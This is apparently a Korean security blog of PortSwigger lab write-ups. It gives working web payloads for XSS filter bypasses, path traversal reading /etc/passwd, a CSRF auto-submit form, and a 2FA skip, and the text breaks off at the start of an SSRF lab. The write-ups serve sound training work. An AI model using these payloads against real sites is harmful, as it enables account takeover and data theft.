0xSecurity

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

0xSecurity — Sun, 26 Jul 2026 21:50:09 +0900

문제 링크

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped

목표 & 사용 도구

목표: JavaScript 문자열을 탈출하여 `alert` 함수를 호출하는 XSS 공격을 수행하는 것.

사용도구: Burp Suite

문제 설명

해당 랩은 `search` 쿼리 tracking 기능에 Reflected XSS 취약점이 존재한다고 한다. 꺾쇠 기호와 더블 쿼터는 HTML 인코딩 처리가 되고 싱글 쿼터는 이스케이프 처리된다. 랩 문제를 해결하기 위해서는 JavaScript 문자열을 탈출해서 `alert` 함수를 호출하는 XSS 공격을 수행해야 한다.

문제 풀이

검색어 입력 시 사용자 입력 값 필터링 확인을 위해 특수문자 4개를 삽입하고 Search 버튼을 클릭함.

이때의 요청 및 응답을 확인해 보면 사용자 입력 값은 `searchTerms` 변수 값이 되고 꺾쇠 기호와 더블 쿼터는 HTML Entity로 치환되며 싱글 쿼터는 이스케이프 처리되고 있음을 알 수 있음.

`search` 파라미터에 `test'test`를 삽입하여 요청을 보내면 싱글 쿼터가 이스케이프 처리되어 JavaScript 문자열을 탈출할 수 없음을 확인함.

[설명]
싱글 쿼터를 삽입하여 기존의 JavaScript 문자열을 탈출한 뒤 이후 입력 값을 JavaScript 코드로 삽입하려고 시도했다. 하지만 싱글 쿼터는 이스케이프 처리되어 있기 때문에 사용자 입력 값은 기존 JavaScript 문자열 내부에 포함되어 임의의 JavaScript 구문을 삽입할 수 없었다.

`search` 파라미터에 `test\'test`를 입력하여 요청을 전송하면 싱글 쿼터에 적용된 이스케이프 처리를 우회하여 기존 JavaScript 문자열을 탈출할 수 있음을 확인함.

[설명]
싱글 쿼터 앞에 이스케이프 처리 기호인 `\`을 추가하면 `\\'` 형태가 된다. 이때 JavaScript 엔진은 첫 번째 기호를 이스케이프 처리 문자로 해석하고 두 번째 `\` 기호를 일반 문자로 처리한다. 그렇기 때문에 두 번째 `\` 기호는 이스케이프 처리 문자가 아닌 일반 문자가 되어 싱글 쿼터는 이스케이프 처리되지 않고 JavaScript 문자열 종료의 의미를 가진다.

따라서 싱글 쿼터가 JavaScript 문자열의 종료 문자로 동작하여 기존 문자열을 탈출하고 이후에 입력 값들은 JavaScript 코드 영역에 삽입할 수 있게 된다.

이스케이프 처리를 우회하는 페이로드를 `search` 파라미터에 삽입하여 요청을 전송하면 JavaScript 코드 영역에 `alert` 함수를 삽입할 수 있음.

[페이로드]

<!-- test는 Burp Suite에서 
페이로드 삽입 부분을 빠르게 확인하기 위해서 삽입했습니다.-->
search=test\';alert(``xss``);//

[설명]
이스케이프 처리 기호인 `\`을 이스케이프 처리함으로써 싱글 쿼터가 JavaScript 문자열 종료를 의미하는 싱글 쿼터가 되어 기존의 문자열 탈출이 가능했다. 이후에 입력되는 값들은 JavaScript 코드 영역에 삽입되므로 `alert` 함수를 호출하도록 했다. 마지막으로 `//`을 추가해서 페이로드를 입력했을 때 남는 `';`을 주석 처리하여 문법 오류를 방지하도록 처리했다.

`alert` 함수를 보면 백틱( ` )을 사용한 것을 볼 수 있는데 이는 템플릿 리터럴이라고 부르며 JavaScript 문자열 표기법이다. 싱글 쿼터, 더블 쿼터는 이스케이프 처리와 HTML Entity 치환 때문에 사용이 불가능하지만 백틱은 별다른 필터링이 없어서 사용이 가능했다.

위 페이로드를 복사한 뒤 검색어 입력창에 삽입하고 Search 버튼을 클릭함.

페이로드가 실행되면서 `alert` 함수가 호출되는 것을 볼 수 있으며 사용자의 입력 값으로 JavaScript 코드 실행이 가능하므로 XSS 공격에 취약하다는 것을 알 수 있음.

문제 요구대로 XSS 공격을 수행하여 `alert` 함수를 호출했으므로 랩 문제를 해결하게 됨.

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

0xSecurity — Sun, 26 Jul 2026 17:25:07 +0900

문제 링크

http://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression

목표 & 사용 도구

목표: AngularJS 표현식을 사용한 XSS 공격을 수행하여 `alert` 함수를 호출 하는 것.

사용도구: Burp Suite

문제 설명

해당 랩은 search 기능안에 AngularJS 표현식에 대해서 DOM-based XSS 취약점이 존재한다. AngularJS는 유명한 Javascript 라이브러리이며 HTML 코드에 directive가 추가되면 `{{ ... }}` 안에서 Javascript 표현식을 사용할 수 있다. 해당 기술은 꺾쇠 기호 `<`,`>`을 사용하지 못할 때 유용하다. 랩을 해결하려면 AngularJS 표현식을 실행하여 alert 함수를 호출하는 XSS 공격을 수행해야 한다고 한다.

문제 풀이

웹 사이트에서 사용되는 기술을 알려주는 Wappalyzer를 사용해 보면 AangularJS 버전 1.7.7을 사용 중이라는 것을 확인함.

검색어 입력할 때의 요청을 취득해서 `search` 파라미터에 특수문자 4개를 삽입했을 때의 응답을 확인해 보면 `<`,`>`은 HTML Entity로 치환되고 있음. 따라서 `<`,`>`을 사용한 HTML 태그 삽입은 제한되어 있다는 것을 알 수 있음.

`search` 파라미터에 `{{7*7}}`을 삽입한 결과 연산 결과인 `49`가 출력됨. 따라서 AngularJS 표현식을 사용할 수 있음.

AngularJS 표현식을 이용하여 `alert` 함수를 호출하는 페이로드를 삽입함.

[페이로드]

<!-- test 문자열은 Burp Suite에서 페이로드 삽입 부분을
빠르게 찾기 위해서 입력했습니다.-->
search=test{{constructor.constructor("alert(``xss``)")()}}

[설명]
AngularJS 표현식에서 첫 번째 constructor의 경우 스코프 객체가 상속한 `Object` 생성자를 가리키며 일반적으로 `constructor.constructor`는 `Function` 생성자를 가리킨다고 한다. 그렇기 때문에 두 번째 `constructor`를 통해 `Function` 생성자에 접근할 수 있었다. 전달한 문자열로 함수가 생성되고 마지막 `()`을 통해 함수가 즉시 호출되므로 `alert` 함수가 호출되게 된다. AngularJS 1.6 이상부터는 Sandbox가 제거된 상태였고 1.7.7 환경에서도 해당 페이로드가 실행이 가능했다.

웹 페이지로 돌아가 보면 랩 문제가 해결된 것을 볼 수 있음.

실제로 `alert` 함수가 호출됐는지 확인하기 위해 검색어 입력 시 `alert` 함수를 호출하는 페이로드를 삽입하고 Search 버튼 클릭함.

`alert` 함수를 호출에 성공하며 XSS 공격에 취약하다는 것을 알 수 있음.

*** 추가 설명 - 페이로드

다른 사람들은 랩 문제를 어떻게 풀었나 확인해 봤을 때 `$on.constructor()`, `$eval.constructor()` 을 사용해서 랩 문제를 해결하는 것을 볼 수 있었다. `$on`, `$eval`는 AngularJS의 `Scope` 객체가 제공하는 메서드라고 하며 일반적으로 Javascript에서 일반 함수의 `constructor`는 `Function` 생성자를 가리킨다고 한다. 따라서 `$on.constructor()`, `$eval.constructor()`도 `Function` 생성자에 접근할 수 있다. 이후 Javascript 코드를 문자열로 전달하고 생성된 함수를 호출하면 `alert` 와 같이 코드를 실행시킬 수 있다.

[ `$on.constructor()`의 경우 ]

test{{$on.constructor("alert(1)")()}}

검색어 입력할 때 `$on`이 함수인 것을 이용하여 `Function` 생성자에 접근해서 `alert` 함수를 호출하는 페이로드를 삽입하고 Search 버튼 클릭함.

페이로드가 실행되면서 `alert` 함수가 호출됨.

[ `$eval.constructor()`의 경우 ]

test{{$eval.constructor("alert(1)")()}}

검색어 입력할 때 `$eval`이 함수인 것을 이용하여 `Function` 생성자에 접근해서 `alert` 함수를 호출하는 페이로드를 삽입하고 Search 버튼 클릭함.

페이로드가 실행되면서 `alert` 함수가 호출됨.

Lab: Stored DOM XSS

0xSecurity — Sat, 25 Jul 2026 17:22:39 +0900

문제 링크

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored

목표 & 사용 도구

목표: Stored DOM XSS 취약점을 이용해 `alert` 함수를 호출하는 것.

사용도구: Burp Suite

문제 설명

해당 랩은 블로그 댓글 기능에 저장형(Stored) DOM 취약점이 존재한다. 랩 문제를 해결하기 위해서는 해당 취약점을 이용하여 `alert` 함수를 호출해야 한다.

문제 풀이

게시물 페이지의 Leave a comment 부분에서 Comment, Name 필드에 `<s>` 태그를 삽입하고 Post Comment를 클릭함.

[설명]
사용자 입력 값이 HTML 요소로 파싱되는지 확인하기 위해 `<s>` 태그를 사용했다. `<s>` 태그는 스크립트를 실행하지 않고 취소선 적용 여부를 통해 HTML 파싱 결과를 확인할 수 있다.

개발자 도구를 이용해서 등록된 댓글을 확인해 보면 `<s>` 태그가 HTML 요소로 생성되지 않고 텍스트로 출력된 것을 볼 수 있음. 따라서 HTML 태그 삽입은 제한된 것으로 판단됨.

개발자 도구의 Sources 탭에서 댓글을 불러오는 `loadCommentsWithVulnerableEscapeHtml.js` 파일을 확인함.

[설명]
DOM-based XSS의 경우 클라이언트 측에서 발생하는 취약점이기 때문에 Javascript 파일을 분석해서 댓글에 입력한 값을 어떤 식으로 처리하고 있는지 확인하고자 했다.

댓글, 즉 사용자가 입력한 값이 `escapeHTML` 함수의 인자 값으로 들어가고 있는 것을 확인했고 해당 반환 값을 `innerHTML`을 통해 HTML로 파싱 되고 있는 것을 확인함. 이는 이스케이프 처리가 미흡하다면 DOM-based XSS로 이어질 수 있음.

이어서 `escapeHTML` 함수를 확인해 보면 취약한 방식으로 댓글 입력 값을 이스케이프 처리하고 있음을 알 수 있음.

[설명]
`html.replace('<', '<')`의 경우 첫 번째 `<` 만 `<`로 변환하며 `.replace('>', '>')`의 경우 첫 번째 `>`만 `>`로 변환한다. 따라서 `<`, `>` 먼저 사용하고 그 뒤에 사용하는 `<`, `>`은 `<`, `>`로 치환되지 않는다. 첫 번째로 나오는 문자들만 치환을 하고 있기 때문에 이스케이프 처리가 미흡하다는 것을 알 수 있다.

게시물 페이지로 돌아가서 Leave a comment 부분의 Comment 필드에 이스케이프 처리를 우회하는 방식을 적용한 페이로드를 삽입하고 Post Comment 버튼을 클릭함.

[페이로드]

<><img src='x' onerror='alert("xss")'>

[설명]
처음에 오는 `<`, `>` 만 필터링이 적용된다는 것을 이용하여 이벤트 핸들러를 사용한 `img` 태그를 삽입했고 alert 함수를 호출하도록 했다.

페이로드가 삽입된 게시물 페이지에 접속하면 페이로드가 동작하며 `alert` 함수가 호출되는 것을 볼 수 있음. 따라서 XSS 공격에 취약함.

문제 요구대로 저장형 DOM 취약점을 이용하여 `alert` 함수를 호출했으므로 랩 문제 해결함.

Lab: Reflected XSS with event handlers and href attributes blocked

0xSecurity — Fri, 24 Jul 2026 17:22:15 +0900

문제 링크

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked

목표 & 사용 도구

목표: XSS 취약점을 이용하여 alert 함수를 호출하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 랩에는 reflected XSS 취약점이 있고 화이트 리스트 필터링으로 몇몇 태그가 사용이 불가능하다고 합니다. 또한 모든 이벤트 속성과 `<a>` 태그의 `href` 속성이 차단되어 있다고 합니다. 랩을 해결하기 위해서는 랩 유저가 클릭했을 때 `alert` 함수를 호출하는 벡터를 삽입하여 XSS 공격을 수행하라고 합니다. 랩 유저가 벡터를 클릭하도록 하기 위해서는 `"Click"` 단어를 사용해야 한다고 합니다.

문제 풀이

ACCESS THE LAB을 클릭해서 랩에 접속합니다.

검색어 입력란에 임의의 값을 입력하고 Search 버튼을 클릭하여 요청을 전송합니다.

이때의 요청과 응답을 Burp Suite를 사용하여 취득해 보면 `<h1>` 태그 안에 사용자가 입력한 값이 삽입되고 있는 것을 알 수 있습니다.

검색어 입력으로 돌아와서 특수문자 4개를 삽입 후 Search 버튼을 클릭하여 요청을 전송합니다.

[설명]
특수문자 `<`, `'`, `"`, `>` 은 HTML 태그를 만들 때 사용하는 특수문자들입니다. 이러한 특수문자들에 대해서 필터링을 하고 있는지 확인하기 위해 특수문자들을 삽입하고 응답을 확인했습니다.

해당 요청과 응답을 취득하여 응답을 확인해 보면 HTML 태그를 만들 때 사용하는 특수 문자들이 필터링 적용되지 않고 있는 것을 알 수 있습니다.

검색어 입력할 때의 요청을 Burp Suite Repeater 기능에 세팅합니다.

`<a>` 태그를 이용해서 사용자가 클릭했을 때 `alert` 함수가 호출되도록 페이로드를 입력하면 `href`가 차단되어 있기 때문에 `href` 속성을 사용할 수 없다는 것을 알 수 있습니다.

[페이로드]

search=test<a+href=javascript:alert('xss')>test</a>

이번엔 이벤트 핸들러를 사용하여 `<a>` 태그 위에 마우스 커서가 올라갔을 때 `alert` 함수가 호출 되도록 페이로드를 입력하여 확인해 보면 이벤트 핸들러도 사용할 수 없다는 것을 알 수 있습니다.

[페이로드]

search=<a+onmouseover=alert('xss')>test</a>

`<svg>` 태그 기반 페이로드를 삽입하면 필터링에 걸리지 않고 페이로드가 삽입되는 것을 볼 수 있습니다.

[페이로드]

search=<svg><a><animate+attributeName=href+values=javascript:alert('xss')+/><text+x="50"+y="90">test</text></a></svg>

[설명]
`<a>` 태그 안에 `<animate>` 태그를 보면 `attributeName` 속성 값이 `href`이며 `values` 속성 값은 `javascript:alert('xss')`인 것을 볼 수 있는데 이는 `<a>` 태그의 `href` 속성을 `javascript:alert('xss')`로 설정하라는 의미입니다. `<text>` 태그는 `<a>` 태그의 텍스트 값(클릭할 버튼 역할)을 지정하도록 해줍니다.

`<animate>` 태그의 `attributeName` 속성을 사용한다면 필터링을 우회하여 `href` 속성을 사용할 수 있고 `values` 속성을 이용해 이벤트 핸들러를 사용하지 않고 `Javascript`를 실행 시킬수 있었습니다.

웹페이지에서 `<svg>` 태그를 이용한 페이로드가 정상적으로 작동하는지 확인하기 위해서 페이로드가 삽입된 URL을 Copy URL 기능을 사용해서 복사합니다.

복사한 주소를 URL 주소 입력창에 입력한 뒤 접근합니다.

접근을 해 보면 페이로드 삽입으로 인한 버튼이 하나 생기고 해당 버튼을 클릭하면 `alert` 함수가 호출되는 것을 볼 수 있으며 결과적으로 XSS 공격에 취약하다는 것을 알 수 있습니다.

랩 문제 해결 조건은 `<a>` 태그의 텍스트에 `"Click"` 이라는 단어가 들어가야 하기 때문에 이전에 사용했던 페이로드를 수정하여 요청을 보내면 마찬가지로 필터링에 걸리지 않고 페이로드가 삽입되는 것을 볼 수 있습니다.

[페이로드]

search=<svg><a><animate+attributeName=href+values=javascript:alert('xss')+/><text+x="50"+y="90">Click+me</text></a></svg>

이전과 동일한 방식으로 페이로드가 삽입된 URL을 복사하여 접근해 보면 랩 문제가 해결되는 것을 볼 수 있습니다.

실제로 Click me 버튼을 클릭해 보면 정상적으로 `alert` 함수가 호출되는 것 또한 볼 수 있습니다.

Lab: File path traversal, traversal sequences blocked with absolute path bypass

0xSecurity — Tue, 21 Jul 2026 15:18:52 +0900

문제 링크

https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass

목표 & 사용 도구

목표: Path Traversal을 이용해 `/etc/passwd` 파일에 접근하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 랩에는 상품 이미지를 보여주는 곳에서 path traversal 취약점이 존재한다고 합니다. 애플리케이션은 traversal sequences(상위 디렉터리 이동을 의미하는 문자열)를 차단하고 있지만 입력한 파일명을 기본 작업 디렉터리를 기준으로 하는 상대 경로로 처리한다고 합니다. 해당 랩을 풀기 위해서는 `/etc/passwd` 파일을 읽어와야 합니다.

문제 풀이

ACCESS THE LAB을 클릭하여 랩에 접속합니다.

랩에 접속한 것을 확인합니다.

이때 Burp Suite HTTP history 탭을 확인해 보면 이미지를 가져오는 요청이 여러 개인 것을 볼 수 있습니다. (이미지 요청이 안 보이면 Filter를 OFF 상태로 바꿔야 합니다.)

이미지 요청 중 하나를 선택해서 Burp Suite Repeater 기능에 세팅합니다.

`filename` 파라미터에 상위 디렉터리 이동을 이용하여 `/etc/passwd` 파일에 접근을 시도해 보면 어떠한 필터링에 의해 접근이 불가능한 것을 볼 수 있습니다.

[설명]
유닉스 계열의 운영체제에서 상위 디렉터리 이동을 의미하는 `../` 을 루트 디렉터리인 `/` 까지 도달할 수 있도록 여러 번 사용해서 `etc/passwd` 접근이 되지 않았으므로 어떠한 필터링이 작용하고 있다고 생각해 볼 수 있습니다.

이번엔 `filename` 파라미터에 절대 경로를 이용하여 `/etc/passwd` 파일에 접근을 시도하면 접근에 성공하여 `/etc/passwd` 파일 내용을 읽어오고 있는 것을 볼 수 있습니다. 따라서 Path Traversal 취약점이 존재한다는 것을 알 수 있습니다.

[페이로드]
filename=/etc/passwd

[설명]
상위 디렉터리 이동을 의미하는 `../` 를 필터링되고 있다는 것을 확인했습니다. 서버에서는 상위 디렉터리 이동만을 필터링 하고 있었고 filename 파라미터로 전달받은 값을 작업 디렉터리 뒤에 붙여서 파일을 가져오는 것으로 보였습니다.

하지만 절대 경로를 사용하면 파일이 원래 작업 디렉터리가 아닌 절대 경로 그 자체를 사용했고 그 결과 `/etc/passwd` 파일에 접근이 가능했기 때문에 해당 내용들을 읽어올 수 있었습니다.

랩의 상태가 solved 인지 확인하기 위해 웹 페이지로 돌아가 보면 문제에서 요구한 대로 `/etc/passwd` 내용들을 읽는 것에 성공했으므로 랩 문제를 해결하게 됩니다.

Lab: File path traversal, simple case

0xSecurity — Mon, 20 Jul 2026 13:41:52 +0900

문제 링크

https://portswigger.net/web-security/file-path-traversal/lab-simple

목표 & 사용 도구

목표: Path Traversal을 이용해 /etc/passwd 파일에 접근하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 랩에는 상품 이미지를 보여주는 곳에서 path traversal 취약점이 존재한다고 합니다. 해당 랩을 풀기 위해서는 /etc/passwd 파일을 읽어와야 합니다.

문제 풀이

ACCESS THE LAB을 클릭하여 랩에 접속합니다.

Burp Suite에서 HTTP history 탭에 들어가 보면 랩에 접속했을 때 이미지를 보여주기 위해서 GET 요청으로 이미지를 가져오고 있는 것을 볼 수 있습니다.

이미지를 가져오는 요청 중 하나를 선택해서 Burp Suite Repeater 기능에 세팅합니다.

filename 파라미터에 path traversal을 이용해 /etc/passwd에 접근해 보면 /etc/passwd 내용들이 전부 노출되고 있으므로 path traversal 취약점이 존재한다는 것을 알 수 있습니다.

[설명]
유닉스 계열의 운영체제의 경우 ../ 는 상위 디렉터리 이동을 의미합니다. 서버에서 filename 파라미터로 전달 받은 값을 이미지가 저장된 경로에 붙여서 파일을 읽어오는 것으로 보입니다. 이때 별다른 필터링이나 검증을 하지 않고 filename 파라미터 값을 그대로 사용하고 있었기 때문에 ../ 를 여러 번 사용했을 때 상위 디렉터리로 이동할 수 있었습니다.

../ 를 총 3번 사용했을 때 /etc/passwd 파일에 접근이 가능했는데 이는 이미지 파일이 저장되어 있는 디렉터리가 예를 들면 /var/www/image/ 이런 식으로 되어있었다고 추정해 볼 수 있습니다. 이때 서버가 filename 파라미터 값을 전달받아서 이미지를 가져올 최종 경로를 만든다고 하면 페이로드를 입력했을 때 /var/www/image/../../../etc/passwd이 됩니다. 여기서 상위 디렉터리로의 이동이 3번 발생하므로 /var/www/ (1), /var/ (2), / (3) 까지 상위 디렉터리로 이동을 하고 마지막에 있는 etc/passwd까지 해서 최종적으로 /etc/passwd 파일에 접근을 할 수 있게 됩니다.

랩의 상태가 solved 인지 확인하기 위해 웹 페이지로 돌아가 보면 문제에서 요구한 대로 /etc/passwd 내용들을 읽는 것에 성공했으므로 랩 문제를 해결하게 됩니다.

Lab: DOM XSS in document.write sink using source location.search

0xSecurity — Mon, 20 Jul 2026 00:12:51 +0900

문제 링크

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink

목표 & 사용 도구

목표: DOM-based XSS 취약점을 이용하여 alert 함수를 호출하는 것입니다.

사용도구: 개발자 도구

사전 지식

- DOM-based XSS
스크립트가 서버를 거치는 것이 아닌 브라우저의 DOM을 조작하는 과정에서 실행됩니다.

- Source와 Sink
* Source
사용자가 값을 삽입하는 지점을 의미합니다.

ex) Source 예시
`location.search` - URL 쿼리 스트링, ?test={사용자 입력 값 }
`location.hash` - URL 해시값, #{사용자 입력 값}

* Sink
Source에서 입력한 값이 DOM에 반영되는 지점을 의미합니다. DOM에 반영될 때 별다른 필터링이 존재하지 않는다면 XSS가 발생할 수 있습니다.

ex) Sink 예시
`document.write` - 입력값을 HTML로 직접 파싱 해서 삽입
`innerHTML` - HTML을 파싱 하여 DOM에 삽입
`eval()` - 문자열을 Javascript 코드로 실행

문제 설명

해당 랩에는 search tracking 기능에 DOM-based XSS 취약점이 존재한다고 합니다. 해당 기능은 데이터를 페이지에 출력하는 Javascript의 document.write 함수를 사용합니다. document.write 함수에는 location.search에서 가져온 데이터가 전달되며 URL을 통해 제어할 수 있다고 합니다. 랩 문제를 해결하기 위해서는 XSS 공격을 통해 alert 함수를 호출해야 합니다.

문제 풀이

ACCESS THE LAB을 클릭하여 랩에 접속합니다.

LAB 접속한 뒤 검색어 입력창에 임의의 값을 입력하고 Search 버튼을 클릭하여 요청을 전송합니다.

개발자 도구를 이용하여 Element 탭에 들어가서 코드를 확인해 보면 검색할 때 입력했던 값이 img 태그의 src 속성에 들어가고 있는 것을 볼 수 있습니다.

[설명]
script 태그 내부를 보면 URLSearchParams 함수로 search 파라미터 값을 가져오는 것을 볼 수 있고 query 값이 있으면 trackSearch 함수를 호출하게 됩니다. trackSearch 함수에서는 query 값을 별다른 필터링 없이 document.write()를 이용해 img 태그를 삽입하고 있다는 것을 알 수 있습니다.

정리하면 사용자가 검색어를 입력하면 해당 값이 query가 되고 document.write()를 통해 img 태그가 삽입될 때 query 값이 포함돼서 삽입됩니다. 중요한 점은 사용자의 입력 값인 query가 필터링 되고 있지 않다는 점입니다. (DOM-Based XSS의 경우 백엔드에서 필터링을 할 수 없기 때문에 클라이언트 측에서 필터링을 해야 합니다.)

검색어 입력 시 사용자의 입력 값을 필터링하지 않고 있기 때문에 스크립트를 삽입하고 Search 버튼을 클릭하여 요청을 전송합니다.

[페이로드]
aaa" onload="alert('xss')

[설명]
사용자가 입력한 값을 필터링하고 있지 않기 때문에 더블 쿼터를 이용해 src 속성의 끝을 강제로 끊고 이벤트 속성인 onload를 이용하여 img가 로드 되었을 때 alert 함수가 호출 되도록 합니다.

사용자의 입력 값이 document.write()에 의해 DOM에 반영되고 있기 때문에 Sink(DOM에 반영되는 지점)는 document.write()에 해당합니다.

-페이로드 입력 전
<img src="/resources/images/tracker.gif?searchTerms=aaa">

-페이로드 입력 후
<img src="/resources/images/tracker.gif?searchTerms=aaa" onload="alert('xss')">

사용자가 삽입한 스크립트에 의해 alert 함수가 호출되는 것을 확인하고 확인 버튼을 클릭합니다.

개발자 도구의 Elements 탭에 들어가서 확인해 보면 img 태그가 삽입된 것을 볼 수 있으며 사용자의 입력에 의해 스크립트가 정상적으로 삽입된 것을 확인할 수 있습니다.

문제에서 요구한 대로 xss를 이용하여 alert 함수를 호출했기 때문에 성공적으로 문제를 해결하게 됩니다.

Lab: CSRF where token validation depends on request method

0xSecurity — Fri, 17 Jul 2026 18:58:30 +0900

문제 링크

https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method

목표 & 사용 도구

목표: CSRF 취약점을 이용하여 피해자의 이메일 주소를 변경시키는 것입니다.

사용도구: Burp Suite

문제 설명

해당 랩의 이메일 변경 기능에는 CSRF 취약점이 존재한다고 합니다. CSRF를 차단하려고 시도를 하지만 특정한 타입의 요청에만 방어가 되고 있으며 exploit 서버를 이용해서 다른 계정의 이메일 주소를 바꿔야 랩 문제를 해결할 수 있다고 합니다. 자격 증명에 사용되는 사용자(본인)의 계정은 다음과 같습니다.

wiener:peter

문제 풀이

ACCESS THE LAB을 클릭해서 랩에 접속합니다.

My account를 클릭합니다.

My account 페이지에 접속하기 위해서 로그인을 해야 하며 문제에서 제공된 계정으로 로그인합니다.

이메일 변경을 위해 변경할 이메일 주소를 입력 후 Update email을 클릭합니다.

이메일이 변경된 것을 확인합니다.

이때 이메일을 변경할 때 요청을 취득해 보면 변경할 이메일 주소와 csrf 토큰이 같이 전송되고 있다는 것을 알 수 있습니다.

이메일 변경할 때의 요청을 Burp Suite Repeater 기능에 세팅합니다.

email, csrf 파라미터 중 csrf 파라미터 값을 임의의 값으로 하면 유효하지 않은 CSRF 토큰이라는 응답을, 제거하고 요청을 보내면 csrf 파라미터가 없다는 응답을 받게 됩니다.

-csrf 파라미터 값을 임의의 값으로 변경하고 요청을 전송했을 때

-csrf 파라미터를 제거하고 요청을 전송했을 때

실제로 My account 페이지를 보면 이메일이 바뀌지 않고 있는 것을 볼 수 있습니다.

다시 이메일 변경 요청으로 돌아와서 Change request method 기능을 사용합니다.

Change request method를 통해 기존 POST 메서드를 GET 메서드로 변경한 뒤 요청을 전송하면 302 Found 결과를 받는 것을 볼 수 있습니다. 302 응답과 함께 Location이 My account인 것으로 봤을 때 요청이 정상적으로 처리되었다는 것을 알 수 있습니다.

이어서 My account 페이지에 접속하여 새로고침을 해보면 이메일이 변경된 것을 볼 수 있습니다.

[설명]

기존의 이메일 변경 요청을 전송할 때는 POST 메서드 방식이었고 CSRF 토큰 값이 유효하지 않거나 없으면 이메일 변경이 불가능했습니다. 하지만 CSRF 공격에 대한 방어가 POST 메서드 방식일 때만 적용되고 있었고 GET 메서드 방식은 방어가 적용이 되지 않고 있었습니다. 그렇기 때문에 GET 메서드로 이메일 변경을 요청하면 CSRF 토큰 값 검사를 하지 않아 CSRF 방어를 우회하여 이메일 변경이 가능했던 것입니다.

Go to exploit server를 클릭합니다.

접속한 뒤 Body 부분에 페이로드를 삽입하고 Store을 클릭합니다.

[페이로드]

<form id="myForm" method="GET" action="https://{lab-id}.web-security-academy.net/my-account">
<input type="hidden" name="email" value="test@attack.com">
</form>

<script>
document.getElementById('myForm').submit();
</script>

[설명]

해당 페이로드의 경우 form 태그와 script 태그를 이용하여 다른 사용자가 페이로드가 삽입된 페이지에 접근했을 때 자동으로 자신의 이메일 주소를 변경하도록 하는 페이로드입니다.

method 속성은 form 태그 요청 메서드를 지정합니다. action 속성은 요청을 보낼 URL을 지정합니다. script 태그 내부 내용의 경우 id가 myForm인 요소를 가져와 submit(), 즉 제출을 하도록 처리합니다. script 태그를 이용하면 form 데이터를 전송할 때 제출 버튼 클릭과 같이 상호작용을 하지 않아도 요청이 전송됩니다.

Store 후 Deliver exploit to victim을 클릭합니다.

피해자(다른 사용자)가 이메일 변경 요청 페이로드가 삽입된 페이지로 접속을 하게 되면서 피해자의 이메일 주소가 변경되어 랩 문제가 해결된 것을 볼 수 있습니다.

exploit 페이지에서 Access log를 클릭합니다.

로그를 보면 이메일 변경 요청 페이로드가 삽입된 페이지에 피해자가 접근했던 기록이 있는 것을 볼 수 있습니다.

Lab: 2FA simple bypass

0xSecurity — Thu, 16 Jul 2026 00:45:23 +0900

문제 링크

https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

목표 & 사용 도구

목표: 이중 인증을 우회하여 피해자의 계정으로 My account 페이지에 접근하는 것입니다.

사용도구: Burp Suite

문제 설명

해당 랩은 이중 인증을 우회할 수 있다고 하며 이미 유효한 유저 이름과 비밀번호를 얻은 상태라고 합니다. 하지만 2FA 인증 코드 가 있어서 접근을 불가능한 상태이며 Carlos의 account 페이지에 접근하여 랩 문제를 해결할 수 있다고 합니다. 이때 계정 정보는 아래와 같습니다.

자신의 계정: wiener:peter

피해자의 계정: carlos:montoya

문제 풀이

계정 정보를 확인하고 ACCESS THE LAB을 클릭하여 랩에 접속합니다.

My account를 클릭합니다.

사용자 이름과 비밀번호를 입력하고 로그인을 시도합니다.

4자리 숫자 코드를 입력해야 하며 이중 인증을 사용하고 있다는 것을 알 수 있습니다. Email client를 클릭합니다.

Email을 확인해 보면 4자리 숫자 코드를 알 수 있으며 해당 숫자 코드를 복사합니다.

복사한 4자리 숫자 코드를 숫자 코드 입력하는 곳에 기입합니다.

정상적으로 로그인되는 것을 볼 수 있고 피해자의 계정으로 로그인을 시도하기 위해 로그아웃을 합니다.

피해자의 계정으로 로그인을 시도 합니다.

피해자의 계정인 carlos 계정으로 로그인을 했을 때 4자리 숫자 코드를 입력하라고 하며 피해자의 이메일 주소를 모르기 때문에 숫자 코드를 알 수 없는 상황입니다.

이때 숫자 코드를 입력하지 않고 URL 입력창에 계정 정보를 볼 수 있는 /my-account 페이지를 입력하고 접근합니다.

이중 인증을 하지 않고 우회하여 carlos 계정으로 로그인이 되어있는 것을 볼 수 있고 2단계 인증을 하지 않고도 로그인된 사용자가 접근할 수 있는 My account 페이지에 접속이 가능해지면서 랩 문제도 해결된 것을 볼 수 있습니다.

[설명]
해당 랩에서는 1단계 인증을 하고 나서의 세션과 2단계 인증을 하고 나서의 세션이 다른 것을 볼 수 있습니다.

-1단계 인증 후 세션

-2단계 인증 후 세션

세션이 서로 다름에도 불구하고 1단계 인증 세션을 가지고도 2단계 인증을 해야 접속할 수 있는 페이지에 접근을 할 수 있었는데 이는 서버가 2단계 인증까지 했다는 것을 제대로 검증하지 않고 있거나 2단계 인증을 했다는 근거가 반영되지 않은 걸로 추정됩니다. 그렇기 때문에 2단계 인증 단계에서 입력해야 하는 숫자 코드를 몰라도 아이디, 비밀번호로 발급받은 1단계 인증 세션만으로도 2단계 인증을 우회할 수 있었습니다.

Lab: SSRF with whitelist-based input filter

0xSecurity — Fri, 26 Jun 2026 23:20:13 +0900

문제 링크

https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

목표 & 사용 도구

목표: admin 인터페이스에 접근하여 carlos 계정을 삭제하는 것입니다.

사용도구: Burp Suite

사전 지식

[URL 파싱에서의 @ 기호]
